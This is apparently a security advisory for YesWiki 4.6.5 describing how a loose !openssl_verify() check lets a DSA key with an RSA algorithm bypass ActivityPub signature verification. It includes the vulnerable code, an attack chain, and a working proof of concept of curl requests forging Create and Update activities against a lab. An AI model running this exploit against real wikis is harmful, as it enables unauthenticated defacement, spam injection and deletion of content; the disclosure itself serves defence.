Summary

HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:

The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.

The two practical paths to -1 we are aware of:

1. DSA / EC public key with an RSA-only algorithm. openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.
2. Older PHP + older OpenSSL where any unrecognised digest name returned -1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.

The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.

Details

Affected component

• File: tools/bazar/services/HttpSignatureService.php
• Method: HttpSignatureService::verifySignature(Request $request)
• Sink: line 130

// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
    ...                                                          // [Signature parse,
                                                                 //  outbound key fetch — see the SSRF advisory]
    $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
    ...
    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK
            join("\n", $sigParts),
            base64_decode($sigConf['signature']),
            $actorPublicKey,
            strtoupper($sigConf['algorithm'])
    )) {
        throw new Exception('Signature verification failed');    // (b) skipped when openssl_verify == -1
    }

    if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
        throw new Exception('Digest mismatch');                  // (c) still enforced — easy to satisfy
    }
}

The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.

End-to-end attack chain

A single unauthenticated POST per operation. No session, no CSRF, no real signature.

1. Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:

   {
     "id": "<exact URL the server will GET>",
     "publicKey": {
       "id": "<same URL>",
       "publicKeyPem": "<DSA public key in PEM form>"
     }
   }

2. Send a Create / Update / Delete activity to POST /api/forms/{enabled-form-id}/actor/inbox:

   POST /?api/forms/2/actor/inbox HTTP/1.1
   Host: target.example
   Content-Type: application/activity+json
   Date: <RFC1123 date>
   Digest: SHA-256=<base64(sha256(body))>
   Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="
   
   {"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
    "actor":"<actor URL>",
    "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}

3. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.

4. Digest header is enforced, but it's a simple SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.

5. processActivity($activity, $form) runs: Create → EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.

PoC

Pre Reqs

• Yeswiki v4.6.5 lab image (Setup via podman)
• ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"

PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.

podman exec "$CTR" php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'

Expected output:

openssl_verify returned: -1
!openssl_verify(...)  is: false

Verify the listener is up and serving the DSA-key actor

podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo

Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).

Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):

ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"' — created via the signature-verification bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'

# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'

Now, try udating the entry via the same bypass

The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.

UPDATE_ACT='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Update",
  "id":   "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
    "content": "this row was modified via the SAME bypass",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$UPDATE_ACT" \
     -w '  HTTP %{http_code}\n'

Expected output: HTTP 200, empty body.

Impact

CRUD on bazar entries of any ActivityPub-enabled form, without authentication:

• Create - EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row in yeswiki_pages and a triple <tag, sourceUrl, $object['id']> in yeswiki_triples.
• Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
• Delete - same lookup, then EntryManager::delete($tag, true).

Concrete operational impact:

• Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
• Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
• Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its object.id discovered, and then deleted by replaying the chain with type=Delete.
• Triple-store pollution - the yeswiki_triples table grows with attacker-controlled sourceUrl triples that survive entry deletion and can interfere with later federation flows.
• Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.

References

• GHSA-mv28-wj57-f57g
• YesWiki/yeswiki@d1795e0